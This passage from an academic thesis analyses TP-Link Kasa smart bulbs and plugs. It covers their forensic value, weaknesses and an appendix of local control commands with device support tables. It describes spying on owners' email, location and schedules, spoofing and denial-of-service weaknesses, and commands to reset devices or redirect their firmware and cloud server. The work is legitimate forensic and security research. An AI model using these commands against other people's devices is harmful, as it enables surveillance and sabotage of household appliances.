Based upon recovered data, Kasa Smart appliances have some utility to forensic investigators or 
attackers spying on victims. First, broadcasting TSHP messages via UDP would quickly identify all 
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Kasa devices on a WLAN. An investigator could then use specific commands to gather personal 
information about their subject. The “system” module would provide information on device type, 
nicknames assigned by the subject, and whether the device was in use. The “system” module could also
access the latitude and longitude at which a smart plug was originally deployed. Queries with “emeter” 
and “schedule” would retrieve records on the device’s daily and monthly energy usage and uptime. 
Additionally, the “cloud” module could access the subject’s Kasa username, which was the email 
address used to sign up for the account. Finally, any scheduled events or “Away” rules would help 
characterize a subject’s daily activities. 
5.9 Future Work
Several aspects of Kasa Smart are worthy of further exploration. First, analysis of more Kasa Smart
appliances is recommended. Behaviors observed during the case study may or may not be 
representative of other Kasa Smart models. TDDP merits further inquiry, as it is described as having 
privileges that are unavailable to TSHP. Using more intrusive digital forensic methods on the Kasa 
appliances would also be valuable. Sensitive data that is inaccessible via TSHP might be retrievable 
with chip-off forensics or another technique. Previous work has examined sending commands to the 
TP-Link cloud without the Kasa Smart app [57, 58], however a thorough investigation into the app-
cloud-device relationship is still necessary. Communication channels with the cloud should be 
examined for vulnerabilities, such as susceptibility to replay or spamming attacks. The single most 
useful line of inquiry would be a comprehensive analysis of device firmware. Firmware examination 
would illustrate the purpose of input variables and provide a definitive list of supported TSHP 
commands. Investigation would also explain why devices responded negatively to Zenmap “version 
detection” scans.
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Chapter 6. Conclusion
Analysis of three Kasa Smart appliances (LB100 bulb, HS100 plug, and HS105 plug) has allowed 
for better understanding of their functionality. Documentation has been prepared for all currently 
known TP-Link Smart Home Protocol commands, including their inputs, support by test devices, and 
device responses. This includes four commands that did not appear in literature at the time of writing 
(“netif’: “get_stainfo”, “lightingservice”: “set_preferred_state”, “lightingservice”: 
“get_preferred_state”, “lightingservice”: “set_default_behavior”). Certain functions were supported by 
device firmware, yet were seemingly inaccessible in the app for controlling Kasa appliances. This was 
peculiar, as the functions (a device timer, a theft-deterrence mode, and the ability to switch a status 
light on or off) appeared benign.
Certain aspects of test devices could be exploited by bad actors. The encryption algorithm used by 
TSHP was weak against snooping and spoofing. Additionally, local attackers could spam commands to 
cause a device to cycle on and off rapidly. The result was disorienting to observers and might cause 
damage to smart plugs. Finally, Zenmap “version detection” scans caused all three tested devices to 
become temporarily disabled. During this period, the power button on smart plugs ceased functioning. 
Additionally, the “check_new_config” TSHP command caused the same response on the LB100 bulb. 
Firmware analysis is recommended to determine the cause of malfunction, as a local attacker might 
leverage these issues into a denial-of-service attack. 
TSHP commands were found to be an efficient method for gathering data from test devices and 
could potentially be useful during forensic investigation. Appliances contained information regarding 
the owner’s schedule, amount of device usage, and email address. Also, the user’s location during 
device setup was retrievable from the smart plugs. Resetting a device prevented almost all data from 
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being accessed by TSHP queries, although the user’s Kasa account name would remain on the device 
until it regained access to the internet.
Increased support of third-party IoT analysis organizations is recommended, given the difficulty in 
manufacturing secure yet easy to use IoT devices. Projects like OWASP IoT and Alrawi et al.’s 
“Yourthings.info” can increase consumer awareness of IoT safety issues and assist manufacturers in 
developing better products. 
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Chapter 8. Appendix
A1. Table 4
Table 4: TSHP Methods & Usage
Command Function
anti_theft
{"anti_theft":{"add_rule":
{"stime_opt":0,"wday":
[1,1,1,1,1,1,1],"smin":987,"enable":1,"freq
uency":5,"repeat":1,"etime_opt":0,"duratio
n":2,"name":"test","lastfor":1,"month":0,"y
ear":0,"longitude":0,"day":0,"latitude":0,"f
orce":0,"emin":1047}}
[Source: 33, 59, 60]
Add anti_theft rule.
Required Inputs
stime_opt: Start time options for anti_theft rule. 
‘-1’ = Do not use start time in rule definition. 
‘0’ = Start time independent of sun 
‘1’ = Start time triggered at sunrise
‘2’ = Start time triggered at sunset
smin: Start time in minutes after midnight. For example, 1 AM 
would be represented as ‘60’. Must be included if stime_opt is ‘0’, 
otherwise smin is optional.
wday: Days that rule should be active, represented in an array of 
seven bits. Rule will be active on each day with a bit set to 1. Sunday
is first bit [1,0,0,0,0,0,0], and Saturday is last [0,0,0,0,0,0,1].
enable: Whether anti_theft rule is active or not.
‘1’ = Rule enabled
‘0’ = Rule disabled 
frequency: Purpose currently unknown. Integer values from ‘1’ to 
‘10’ are accepted. 
repeat: Whether the rule will be used more than one time.
‘0’ = Anti_theft rule will only be used once.
‘1’ = Anti_theft rule will be use more than once.
etime_opt: End time options for anti_theft rule. 
‘-1’ = Do not use end time in rule definition. 
‘0’ = End time independent of sun 
‘1’ = End time triggered at sunrise
‘2’ = End time triggered at sunset
Emin = End time in minutes after midnight. For example, 1 AM 
would be represented as ‘60’. Must be included if etime_opt is ‘0’, 
otherwise emin is optional.
name: User-defined name for rule 
{"smartlife.iot.common.anti_theft":
{"add_rule":{…}}}
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Optional Inputs
Duration: Purpose currently unknown. 
Lastfor: Purpose currently unknown. 
Month: Purpose currently unknown.
Year: Purpose currently unknown.
Longitude: Purpose currently unknown.
Day: Purpose currently unknown.
Latitude: Purpose currently unknown.
Force: Purpose currently unknown.
{"anti_theft":{"delete_all_rules":{}}}
[Source: 32, 59]
Delete all anti_theft rules.
{"smartlife.iot.common.anti_theft":
{"delete_all_rules":{}}}
{"anti_theft":{"delete_rule":
{"id":"ABCDEF123456789ABCDEF1234
56789AB"}}}
[Source: 32, 59]
Delete anti_theft rule with given ID.
Required Inputs
Id: ID number (in hex) of anti_theft rule to delete. 
{"smartlife.iot.common.anti_theft":
{"delete_rule":{...}}}
{"anti_theft":{"edit_rule":
{"stime_opt":0,"wday":
[1,1,1,1,1,1,1],"smin":987,"enable":1,"freq
uency":5,"repeat":1,"etime_opt":0,"id":"A
BCDEF123456789ABCDEF123456789A
B","duration":2,"name":"test","lastfor":1,"
month":0,"year":0,"longitude":0,"day":0,"l
atitude":0,"force":0,"emin":1047}}}
[Source: 32, 59]
Edit anti_theft rule with given ID.
Required Inputs
Id: ID number (in hex) of anti_theft rule to edit. 
[Refer to ‘add_rule’ for remaining required and optional inputs.]
{"smartlife.iot.common.anti_theft":
{"edit_rule":{...}}}
{"anti_theft":{"get_rules":{}}}
[Source: 32, 59]
Get complete list of anti_theft rules on device (both active and 
inactive), if there are any.
{"smartlife.iot.common.anti_theft":
{"get_rules":{}}}
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{"anti_theft":{"set_overall_enable":
{"enable":0}}}
[Source: 32, 59]
Enable or disable use of anti_theft rules. Must be enabled to use any 
anti_theft rule or combination of rules.
Required Inputs
enable: 
‘0’ = Disable use of anti_theft rules
‘1’ = Enable use of anti_theft rules
{"smartlife.iot.common.anti_theft":
{"set_overall_enable":{"enable":0}}}
cnCloud / cloud
{"cnCloud":{"bind":
{"username":"user@domain.com", 
"password":"secret"}}}
[Source: 24,59]
Register device with TP-Link cloud server using account username 
and password. An internet connection to cloud server is required.
Required Inputs
username: username of Kasa cloud account
password: password to account{smartlife.iot.common.cloud":{"bind":
{"username":"user@domain.com", 
"password":"secret"}}}
[Source: 32]
{"cnCloud":{"get_info":{}}}
[Source: 59]
Get information about the device’s TP-Link cloud connection, such 
as whether or not the device has internet access to the cloud, whether
the device is bound to the cloud, and username of Kasa account that 
is tied to the device.{smartlife.iot.common.cloud":
{"get_info":{}}}
[Source: 31, 32]
{"cnCloud":{"get_intl_fw_list":{}}}
[Source: 59]
Appears to retrieve a list of firmware updates available for the 
device and associated information (if any updates are available). An 
internet connection to cloud server is required.
{smartlife.iot.common.cloud":
{"get_intl_fw_list":{}}}
[Source: 32]
{"cnCloud":{"set_server_url":
{"server":"devs.tplinkcloud.com"}}}
[Source: 59]
Set URL of cloud server for device to connect. 
Note: LB100 used a different server (n-devs.tplink.cloud.com) than 
the smart plugs. Also, while the LB100 would accept this command, 
it would not change the server URL in the device. The other devices 
would allow the server URL to be changed
   
{smartlife.iot.common.cloud":
{"set_server_url":
{"server":"devs.tplinkcloud.com"}}}
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[Source: 32]
Required Inputs
server: New server URL.
{"cnCloud":{"unbind":{}}}
[Source: 59]
Unregister device with cloud server. An internet connection to cloud 
is required.
{smartlife.iot.common.cloud":
{"unbind":{}}}
[Source: 32]
count_down
{"count_down":{"add_rule":
{"enable":1,"delay":70,"act":1,"name":"tur
n_on"}}}
[Source: 32, 59]
Add a new count_down rule. Note that a device may hold at most 
one count_down rule. 
Required Inputs
enable: Whether count_down rule is active or not.
‘0’ = Rule disabled 
‘1’ = Rule enabled
delay: Remaining time until count_down activity should be enacted, 
in seconds.
act: Whether to turn device on or off.
‘0’ = turn device off
‘1’ = turn device on
name: User-defined name of rule.
{"smartlife.iot.common.count_down":
{"add_rule":{...}}
{"count_down":{"delete_all_rules":{}}}
[Source: 32, 59]
Delete all count_down rules.
{"smartlife.iot.common.count_down":
{"delete_all_rules":{}}}
{"count_down":{"delete_rule":
{"id":"ABCDEF123456789ABCDEF1234
56789AB"}}}
[Source: 59]
Delete count_down rule with specified ID.
Required Inputs
Id: ID number (in hex) of count_down rule to delete. 
{"smartlife.iot.common.count_down":
{"delete_rule":{...}}}
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{"count_down":{"edit_rule":
{"enable":1,"id":"ABCDEF123456789AB
CDEF123456789AB","delay":60,"act":1,"
name":"turn_on"}}}
[Source: 32, 59]
Edit existing count_down rule.
Required Inputs
Id: ID number (in hex) of count_down rule to edit. 
[Refer to ‘add_rule’ for remaining inputs.]
{"smartlife.iot.common.count_down":
{"edit_rule":{...}}}
{"count_down":{"get_rules":{}}}
[Source: 32, 59]
Get count_down rule, if one exists.
{"smartlife.iot.common.count_down":
{"get_rules":{}}}
dimmer
Note: Module was not supported by test
devices, so knowledge is limited.
{"dimmer":{"get_default_behavior":{}}}
[Source: 32]
Get default behavior settings for dimmer.
{"dimmer":{"get_dimmer_parameters":
{}}}
[Source: 32]
Get configuration parameters of dimmer.
{"dimmer":{"set_brightness":
{“brightness”:50}}}
[Source: 32]
Instantly change plug to a specified brightness level. 
Inputs
Brightness: Brightness level of plug’s light source. Integer values 
from 0 to 100 accepted.
{"dimmer":{"set_dimmer_transition":
{“brightness”: 50,“mode”: 
“gentle_on_off”,“duration”:5}}}
[Source: 32]
Gradually change plug to a specified brightness level. 
Inputs
Brightness: Brightness level of plug’s light source. Integer values 
from 0 to 100 accepted.
Mode: Purpose and inputs currently unknown. Believed to be related
to the rate at which a light’s intensity is changed.
Duration: Measured in seconds. Purpose currently unknown. 
Hypothesized to be time a device should take to adjust to new 
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brightness level.
{"dimmer":{"set_double_click_action":
{“mode”: “gentle_on_off”,“index”:1}}}
[Source: 32]
Set default behavior for a double click on device.
Inputs
Mode: Purpose and inputs currently unknown. Believed to be related
to the rate at which a light’s intensity is changed.
Index: Purpose currently unknown.
{"dimmer":{"set_fade_off_time":
{“fadeTime”:5}}}
[Source: 32]
Set speed of “Fade Off” function.
Inputs
fadeTime: Duration of “Fade Off” in ms.
{"dimmer":{"set_fade_on_time":
{“fadeTime”:5}}}
[Source: 32]
Set speed of “Fade On” function.
Inputs
fadeTime: Duration of “Fade On” in ms.
{"dimmer":{"set_gentle_off_time":
{“fadeTime”:5}}}
[Source: 32]
Set speed of “Gentle Off” function.
Inputs
fadeTime: Duration of “Gentle Off” in ms.
{"dimmer":{"set_gentle_on_time":
{“fadeTime”:5}}}
[Source: 32]
Set speed of “Gentle On” function.
Inputs
fadeTime: Duration of “Gentle On” in ms.
{"dimmer":{"set_long_press_action":
{“mode”: “gentle_on_off”,“index”:1}}}
[Source: 32]
Set default behavior for a long press on device.
Inputs
Mode: Purpose and inputs currently unknown. Believed to be related
to rate at which a light’s intensity is changed.
Index: Purpose currently unknown.
{"dimmer":{"set_switch_state":
{“state”:1}}}
[Source: 32]
Set device to an “on” or “off” state.
Inputs
State: Whether to turn device on or off.
‘0’ = Set device to “off” state.
‘1’ = Set device to “on” state.
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emeter
{"emeter":{"erase_emeter_stat":{}}}
[Source: 59]
Erase all usage statistics.
{"smartlife.iot.common.emeter":
{"erase_emeter_stat":{}}}
[Source: 32]
{"emeter":{"get_daystat":
{"month":1,"year":2016}}}
[Source: 59]
Get daily usage statistics for a selected month and year.
Required Inputs
month: Desired month, as an integer ‘1’ to ‘12’
year: Desired year, as an integer{"smartlife.iot.common.emeter":
{"get_daystat":{"month":1,"year":2016}}}
[Source: 32,33]
{"emeter":{"get_monthstat":
{"year":2016}}}
[Source: 59]
Get monthly usage statistics for a selected year.
Required Inputs
year: Desired year, as an integer
{"smartlife.iot.common.emeter":
{"get_monthstat":{"year":2016}}}
[Source: 32]
{"emeter":{"get_realtime":{}}}
[Source: 59]
Get device current and voltage usage at current time.
{"smartlife.iot.common.emeter":
{"get_realtime":{}}}
[Source: 32]
{"emeter":{"get_vgain_igain":{}}}
[Source: 59]
Get Vgain and Igain settings. Incompatible with devices tested.
{"emeter":{"set_vgain_igain":
{"vgain":12345,"igain":12345}}}
[Source: 59]
Set Vgain and Igain, Incompatible with devices tested.
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{"emeter":{"start_calibration":
{"vtarget":12345,"itarget":12345}}}
[Source: 59]
Calibrate electricity monitor. Incompatible with devices tested.
netif
{"netif":{"get_scaninfo":{"refresh":1}}}
[Source: 32, 59]
Command device to scan for nearby 2.4GHz WAP’s. 
Required Inputs
refresh: Controls whether or not to refresh WAP list.
‘0’ = If WAP list is already populated, return WAP list. Otherwise, 
scan for nearby WAP’s and populate list. 
‘1’ = Scan for nearby WAP’s and update WAP list. 
Optional Inputs
timeout: Time added to default network timeout, in seconds, before 
Kasa device scan times out. 
{"netif":{"get_stainfo":{}}} Get SSID, encryption type, and RSSI of Kasa device’s WiFi 
network, if it is connected to one.
{"netif":{"set_stainfo":
{"ssid":"networkssid","password":"secret",
"key_type":3}}}
[Source: 24,59]
Connect Kasa device to WAP with specified SSID, password, and 
encryption type.
Required Inputs
ssid: ssid of desired WAP 
password: password of desired WAP
key_type: type of wireless encryption protection used
‘0’ = Unencrypted
‘1’ = WEP
‘2’ = WPA
‘3’ = WPA2
schedule
{"schedule":{"add_rule":
{"stime_opt":0,"wday":
[1,0,0,1,1,0,0],"smin":1014,"enable":1,"rep
eat":1,"etime_opt":-1,"name":"on","eact":-
1,"month":0,"sact":1,"year":0,"longitude":0
,"day":0,"force":0,"latitude":0,"emin":0}}}
[Source: 59]
Add new schedule rule. Note that app only allows you to edit start 
time. Code allows you to access start and end.
Required Inputs (Both Module Types)
stime_opt: Start time options for scheduled rule. 
‘-1’ = Do not use start time in rule definition. 
‘0’ = Start time independent of sun 
‘1’ = Start time triggered at sunrise
‘2’ = Start time triggered at sunset{"smartlife.iot.common.schedule":
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{"add_rule":
{"name":"name","repeat":1,"wday":
[1,0,1,0,1,0,0],"stime_opt":0,"eact":-
1,"smin":780,"s_light":
{"saturation":21,"hue":129,"brightness":17
,"color_temp":0,"mode":"customize_preset
","on_off":1},"enable":1,"day":24,"year":2
017,"month":8,"sact":2,"emin":-
1,"etime_opt":-1}}}
[Source: 32, 33]
smin: Start time in minutes after midnight. For example, 1 AM 
would be represented as ‘60’. Must be included if stime_opt is ‘0’, 
otherwise smin is optional.
sact: Whether to turn device on or off at start of rule.
‘-1’ = Start time not used
‘0’ = Turn device off at start of rule
‘1’ = Turn device on at start of rule.
‘2’ = Currently unknown
wday: Days that rule should be active, represented in an array of 
seven bits. Rule will be active on each day with a bit set to 1. Sunday
is first bit [1,0,0,0,0,0,0], and Saturday is last [0,0,0,0,0,0,1].
enable: Whether schedule rule is active or not.
‘1’ = Rule enabled
‘0’ = Rule disabled 
frequency: Purpose currently unknown. Integer values from ‘1’ to 
‘10’ are accepted. 
repeat: Whether the rule will be used more than one time.
‘0’ = Schedule rule will only be used once.
‘1’ = Schedule rule will be use more than once.
etime_opt: End time options for schedule rule. 
‘-1’ = Do not use end time in rule definition. 
‘0’ = End time independent of sun 
‘1’ = End time triggered at sunrise
‘2’ = End time triggered at sunset
Emin = End time in minutes after midnight. For example, 1 AM 
would be represented as ‘60’. Must be included if etime_opt is ‘0’, 
otherwise emin is optional.
eact: Whether to turn device on or off at end of rule.
‘-1’ = End time not used
‘0’ = Turn device off at end of rule
‘1’ = Turn device on at end of rule.
‘2’ = Currently unknown
name: User-defined name for rule 
Required Inputs (Smartlife Module)
s_light: Believed to signify target device as a lightbulb
saturation: Sets saturation of bulb’s light output. Integer values from 
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0 to 100 are accepted.
hue: Sets hue of bulb’s light output. Integer values from 0 to 360 
accepted. 
Brightness: Sets brightness of bulb’s light output. Integer values 
from 0 to 100 accepted.
color_temp: Sets color temperature of bulb’s light output. Integer 
values from 2500 to 9000 are accepted, representing 2500 to 9000 
Kelvin.
Mode: Operation mode of device. At this time, the existence of two 
modes is known.
‘customize_preset’ = Operate at a specific brightness level
‘last_status’ = Operate at last set brightness setting.
on_off: Whether to turn device on or off. 
‘0’ = Turn device off
‘1’ = Turn device on
Note: Impact of ‘on_off’ versus ‘eact’ and ‘sact’ for setting device on
or off is not currently understood.
Optional Inputs (Both Module Types)
Month: Purpose currently unknown.
Year: Purpose currently unknown.
Longitude: Purpose currently unknown.
Day: Purpose currently unknown.
Latitude: Purpose currently unknown.
Force: Purpose currently unknown.
{"schedule":{"delete_all_rules":{}}}
[Source: 59]
Delete all schedule rules.
{"smartlife.iot.common.schedule":
{"delete_all_rules":{}}}
[Source: 32]
{"schedule":{"delete_rule":
{"id":"ABCDEF123456789ABCDEF1234
56789AB"}}}
[Source: 59]
Delete schedule rule with a given rule ID
Required Inputs
Id: ID number (in hex) of schedule rule to delete. 
{"smartlife.iot.common.schedule":
{"delete_rule":{...}}}
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{"schedule":{"edit_rule":
{"stime_opt":0,"wday":
[1,0,0,1,1,0,0],"smin":1014,"enable":1,"rep
eat":1,"etime_opt":-
1,"id":"ABCDEF123456789ABCDEF1234
56789AB","name":"lights on","eact":-
1,"month":0,"sact":1,"year":0,"longitude":0
,"day":0,"force":0,"latitude":0,"emin":0}}}
[Source: 59]
Edit a schedule rule using a rule’s ID
Required Inputs
Id: ID number (in hex) of schedule rule to edit. 
[Refer to ‘add_rule’ for remaining required and optional inputs for 
both types of modules.]
{"smartlife.iot.common.schedule":
{"edit_rule":{…}}}
[Source: 32, 33]
{"schedule":{"get_monthstat":
{"year":2019}}}
[Source: 32]
Get time (in minutes) of active usage of device for each month in a 
requested year. If device is plugged in but not being used, this time 
statistic does not increment.
Required Inputs
year: Desired year, as an integer{"smartlife.iot.common.schedule":{"get_monthstat":{…}}}
[Source: 32]
{"schedule":{"get_daystat":
{"month":7,"year":2019}}}
[Source: 32]
Get time (in minutes) of active usage of device for each day in a 
requested month. If device is plugged in but not being used, this time
statistic does not increment.
Required Inputs
month: Desired month, as an integer ‘1’ to ‘12’
year: Desired year, as an integer
{"smartlife.iot.common.schedule":
{"get_daystat":{...}}}
[Source: 31, 32]
{"schedule":{"erase_runtime_stat":{}}}
[Source: 59]
Erase runtime statistics for each day and month that a device has 
been used. Note that days and months that the device was used will 
still appeared in the daystat and monthstat queries, but usage time 
will be empty{"smartlife.iot.common.schedule":
{"erase_runtime_stat":{}}}
[Source: 32]
{"schedule":{"get_next_action":{}}} Get next scheduled action for the device. Returns the time of the 
next action in seconds from midnight.
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[Source: 59]
{"smartlife.iot.common.schedule":
{"get_next_action":{}}}
[Source: 32, 33]
{"schedule":{"get_rules":{}}}
[Source: 59]
Get complete list of scheduled actions.
{"smartlife.iot.common.schedule":
{"get_rules":{}}}
[Source: 31, 32, 33]
{"schedule":{"set_overall_enable":
{"enable":0}}}
[Source: 59]
Enable or disable use of schedule rules. Must be enabled to use any 
schedule rule or combination of rules.
Required Inputs
enable: 
‘0’ = Disable use of schedule rules
‘1’ = Enable use of schedule rules
{"smartlife.iot.common.schedule":
{"set_overall_enable":{...}}}
[Source: 32]
system
{"system":{"check_new_config":{}}}
[Source: 59]
Check device configuration. 
Note: This command was either unsupported or caused tested 
devices to become unresponsive.
{"system":{"download_firmware":
{"url":"http://.…"}}}
[Source: 59]
Download a firmware file from a specified URL.
Required Inputs
url: Domain or IP address to download new firmware image
{"smartlife.iot.common.system":
{"download_firmware":{...}}}
{"system":{"flash_firmware":{}}}
[Source: 59]
After new firmware is downloaded, run this command to flash 
device. 
Note: new firmware image must be signed with one of four built-in 
RSA keys to be accepted.{"smartlife.iot.common.system":
{"flash_firmware":{}}}
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{"system":{"get_dev_icon":{}}}
[Source: 59]
Get device icon.
Note: Unsupported by tested devices.
{"smartlife.iot.common.system":
{"get_dev_icon":{}}}
{"system":{"get_download_state":{}}}
[Source: 59]
Check download state while device is downloading firmware.
{"smartlife.iot.common.system":
{"get_download_state":{}}}
{"system":{"get_sysinfo":{}}}
[Source: 59]
Get system info about device, such as software and hardware 
versions.
{"smartlife.iot.common.system":
{"get_sysinfo":{}}}
[Source: 32, 33]
{"system":{"reboot":{"delay":1}}}
[Source: 24, 59]
Reboot device. 
Required Inputs
delay: Time for device to wait before rebooting device, in seconds. {"smartlife.iot.common.system":{"reboot":
{...}}}
[Source: 31, 32, 33]
{"system":{"reset":{"delay":1}}}
[Source: 59]
Reset device to factory settings. 
Required Inputs
delay: Time for device to wait before resetting device, in seconds. {"smartlife.iot.common.system":{"reset":
{...}}}
[Source: 32]
{"system":{"set_dev_alias":{"alias":"new 
device alias"}}}
[Source: 59]
Set device’s alias. Overwrites current alias.
Required Inputs
alias: String for new device name
{"smartlife.iot.common.system":
{"set_dev_alias":{...}}}
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[Source: 32,33]
{"system":{"set_dev_icon":
{"icon":"xxxx","hash":"ABCD"}}}
[Source: 59]
Set device icon.
Note: Unsupported by tested devices.
{"smartlife.iot.common.system":
{"set_dev_icon":{...}}}
{"system":{"set_dev_location":
{"longitude":1,"latitude":2, 
"latitude_i":10000, "longitude_i":20000}}}
[Source: 59, 61]
Set device’s location in latitude and longitude. Latitude_i and 
longitude_i must be included, where each is the “regular” dimension 
multiplied by 10000 and rounded. Purpose for a second set of 
latitude and longitude is currently unknown. ‘latitude_i’ and 
‘longitude_i’ are reported during “get_sysinfo”, not ‘latitude’ and 
‘longitude’.
Required Inputs
latitude: Latitude
latitude_i: Latitude multiplied by 10000
longitude: Longitude 
longitude_i: Longitude multiplied by 10000
{"smartlife.iot.common.system":
{"set_dev_location":{...}}}
[Source: 32]
{"system":{"set_device_id":
{"deviceId":"0123456789ABCDEF012345
6789ABCDEF01234567"}}}
[Source: 59]
Set device’s “device ID” number. Overwrites current device ID.
Required Inputs
deviceID: Number for new device ID, in hex.
{"system":{"set_hw_id":
{"hwId":"0123456789ABCDEF012345678
9ABCDEF"}}}
[Source: 59]
Set device’s “hardware ID” number.
Note: Does not appear supported by tested devices.
{"system":{"set_led_off":{"off":1}}}
[Source: 59]
Turn device’s LED on/off.
Required Inputs
off: LED state
‘0’ = LED will be turned on
‘1’ = LED will be turned off
{"system":{"set_mac_addr":{"mac":"50-
C7-BF-01-02-03"}}}
[Source: 59]
Set device’s MAC address
Note: Does not appear supported by tested devices.
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{"system":{"set_relay_state":{"state":1}}}
[Source: 59]
Turn device relay on/off. 
Required Inputs
state: Relay state of device.
‘0’ = Turn power relay off
‘1’ = Turn power relay on
{"system":{"set_test_mode":
{"enable":1}}}
[Source: 24, 59]
Set device to run in “test mode” upon reboot. 
Note: Does not appear supported by tested devices.
{"system":{"test_check_uboot":{}}}
[Source: 59]
Perform uBoot Bootloader Check
Note: Does not appear supported by tested devices. 
time/timesetting
{"time":{"get_time":{}}}
[Source: 59]
Get device time.
{"smartlife.iot.common.timesetting":
{"get_time":{}}}
[Source: 32,33]
{"time":{"get_timezone":{}}}
[Source: 59]
Get device timezone.
{"smartlife.iot.common.timesetting":
{"get_timezone":{}}}
[Source: 32,33]
{"time":{"set_time":
{"year":2017,"month":8,"mday":24,"hour":
20,"min":10,"sec":19}}}
[Source: 59]
Set device time.
Required Inputs
year: Desired year, as an integer
month: Desired month, as an integer from ‘1’ to ‘12’
mday: Desired day, as an integer.
hour: Desired hour, as an integer on a 24 hour clock
min: Desired minute, as an integer
sec: Desired second, as an integer 
{"smartlife.iot.common.timesetting":
{"set_time":{...}}}
[Source: 33]
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{"time":{"set_timezone":
{"year":2017,"month":1,"mday":1,"hour":1
0,"min":10,"sec":10,"index":42}}}
[Source: 59]
Set device time and timezone.
Required Inputs
Index: Desired timezone, as an integer from ‘0’ to ‘109’
[Refer to ‘set_time’ for remaining required inputs.]
{"smartlife.iot.common.timesetting":
{"set_timezone":{...}}}
[Source: 33]
lightingservice
{"smartlife.iot.smartbulb.lightingservice":
{"get_default_behavior":{}}}
[Source: 33]
Get the default behavior for the device when it powers on.
{"smartlife.iot.smartbulb.lightingservice":
{"get_light_details":{}}}
[Source: 32,33]
Get the system details for the smart bulb such as minimum and 
maximum voltages, lamp beam angle and maximum lumen output.
{"smartlife.iot.smartbulb.lightingservice":
{"get_light_state":{}}}
[Source: 32,33]
Get the “on”/“off” state of the bulb. Also, if the bulb is on, this 
command returns the current values for the hue, saturation, 
brightness and color temperature. If bulb is off, return the hue, 
saturation, brightness, and color temperature that the bulb will 
default to when turned back on.
{"smartlife.iot.smartbulb.lightingservice": 
{ "set_default_behavior": {"soft_on": {      
"mode": "customize_preset","index": 
3}}}}
Set default behavior of device when it is turned on. 
Required Inputs
"soft_on" or  "hard_on": Select which default behavior to edit.
“soft_on” = Behavior to implement when bulb receives command to 
turn on from Smart Home Protocol 
“hard_on” = Behavior to implement when power is restored to the 
bulb, such as if a power switch is turned on.
Mode: Operation mode to implement when turning on. Currently, 
only two operation modes are known.
“customize_preset” = Set light setting from one of four preset light 
configurations 
“last_status” = Set light setting to same condition as it was before it 
was turned off
Index: Used to select one of the four preset light configurations. 
75
Ranges from ‘0’ to ‘3.’ Only include in command if mode is 
“customize_preset”
{"smartlife.iot.smartbulb.lightingservice":
{"transition_light_state":
{"ignore_default":1,"transition_period":1,"
mode":"normal","hue":120,"on_off":1,"sat
uration":65,"color_temp":0,"brightness":0.
5}}}
[Source: 31,32,33]
Turn light bulb on/off. 
Required Inputs
Ignore_default: Whether or not to override “default on” setting when
turning bulb on.
If bulb is currently off and being turned on...
‘0’  = Default overrides settings in command. Bulb set to “soft_on” 
default setting. 
‘1’ = Command overrides default. Bulb ignores “soft_on”, uses 
command settings instead.
undefined = Default overrides settings in command. Bulb set to 
“soft_on” default setting
If bulb is already on and being set to another “on” setting…
Bulb will use command settings, no matter if ignore_default is ‘0’, 
‘1’, or undefined.
 
Transition_period: Time device should take to adjust to new 
brightness level, in milliseconds. Integer values from 0 to 10000 are 
accepted. 
saturation: Sets saturation of bulb’s light output. Integer values from 
0 to 100 are accepted.
hue: Sets hue of bulb’s light output. Integer values from 0 to 360 
accepted. 
brightness: Sets brightness of bulb’s light output. Integer values from
0 to 100 accepted.
color_temp: Sets color temperature of bulb’s light output. Integer 
values from 2500 to 9000 are accepted, representing 2500 to 9000 
Kelvin.
Mode: Operation mode of device. At this time, the existence of two 
modes is known.
‘customize_preset’ = Operate at a specific brightness level
‘last_status’ = Operate at last set brightness setting.
on_off: Whether to turn device on or off. 
‘0’ = Turn device off
‘1’ = Turn device on
{"smartlife.iot.smartbulb.lightingservice": Retrieve the 4 preset configurations in an array called “states.” Each 
76
{"get_preferred_state":{}}} configuration will have a reference index, hue, saturation, color 
temperature, and brightness. 
{"smartlife.iot.smartbulb.lightingservice":
{"set_preferred_state":
{"index":0,"brightness":68}}}
Edit values of one of the “presets.” 
Note: when interacting with the LB100, it was only possible for the 
user to change the “brightness” value of the “presets.” Other values 
could not be manipulated.
Required Inputs
index: Used to select one of the four preset light configurations. 
Ranges from ‘0’ to ‘3.’ 
brightness: Sets brightness of bulb’s light output. Integer values from
0 to 100 accepted.
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A2. Table 5
Table 5: TSHP Method Support
“anti_theft” Module
Command LB100 Bulb HS100 & HS105 Plug 
"anti_theft":"add_rule"
Not supported,
Error code: -2001,
Error message: "Module not
support"
Supported
"smartlife.iot.common.anti_theft":
"add_rule" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"anti_theft":"delete_all_rules"
Not supported,
Error code: -2001,
Error message: "Module not
support"
Supported
"smartlife.iot.common.anti_theft":
"delete_all_rules" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"anti_theft":"delete_rule"
Not supported,
Error code: -2001,
Error message: "Module not
support"
Supported
"smartlife.iot.common.anti_theft":
"delete_rule" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"anti_theft":"edit_rule"
Not supported,
Error code: -2001,
Error message: "Module not
support"
Supported
"smartlife.iot.common.anti_theft":
"edit_rule" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"anti_theft":"get_rules" Not supported,
Error code: -2001,
Supported
78
Error message: "Module not
support"
"smartlife.iot.common.anti_theft":
"get_rules" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"anti_theft":"set_overall_enable"
Not supported,
Error code: -2001,
Error message: "Module not
support"
Supported
"smartlife.iot.common.anti_theft":
"set_overall_enable" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
“cnCloud” / “cloud” Module
Command LB100 Bulb HS100 & HS105 Plug 
"cnCloud":"bind"
Not supported,
Error code: -2001,
Error message: "Module not
support"
Supported
smartlife.iot.common.cloud":
"bind" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"cnCloud":"get_info" Not supported,Error code: -2001,
Error message: "Module not
support"
Supported
smartlife.iot.common.cloud":
"get_info" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"cnCloud":"get_intl_fw_list"
Not supported,
Error code: -2001,
Error message: "Module not
support"
Supported
smartlife.iot.common.cloud":
"get_intl_fw_list"
Supported Not supported,
Error code: -1,
Error message: "Module not
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support"
"cnCloud":"set_server_url"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
smartlife.iot.common.cloud":
"set_server_url" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"cnCloud":"unbind"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
smartlife.iot.common.cloud":
"unbind" Supported
Not supported,
Error code: -1,
